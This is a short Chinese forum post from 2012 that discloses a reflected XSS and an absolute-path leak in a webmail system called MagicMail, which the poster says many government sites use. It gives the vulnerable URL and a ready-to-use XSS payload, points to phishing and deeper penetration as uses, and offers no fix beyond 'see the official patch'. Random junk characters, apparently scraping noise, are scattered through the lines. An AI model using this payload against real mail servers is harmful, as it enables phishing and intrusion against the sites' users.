今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞
2 p: v3 j! ?7 m: y1 [7 k! X
/ o8 p* K/ m& @
% h5 U( ^! V3 @- u包含 一个反射性XSS 以及 绝对路径泄漏 o! u. x% v+ h* ~
看了看 貌似全部是linux的。4 B$ z9 s2 y2 A$ \5 N n9 C0 v" ~
4 Y+ @% W; d0 ]8 C关键字：迈捷邮件系统 by MagicMail
" s3 K. R# X) R' z3 W. Q: F: O8 t2 u4 \- [, J
可以看到很多政府网站都用这个邮件系统5 {- U w; C* g6 g y& S( r( a1 w) _9 X
9 {, v9 j! l5 ~0 ~6 ^6 ~, g) b( |; g绝对路径 http://madman.in/index.php?login_type=declare&language=
; S; r- t; ^" X1 N
) Z/ h3 B7 A# [' U9 E
+ X, g: i# P$ R/ A S G
( I) G3 v$ L( M" O, z M9 \% cXSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E
& o/ k+ J& i: [# [- b
" _! s$ e/ j4 O0 m4 x4 I4 E' h) f/ D- ~! ?( `
* b" y; ?/ T/ I' T8 S" r; }虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等
/ c1 {* A8 s+ ], a
1 [3 ^) ~- x- t1 ^) Z. N4 x修复方案：看官方补丁吧。
, o4 C2 i" Q' O0 j |
发表于 2012-11-9 20:38:41
收藏
支持
反对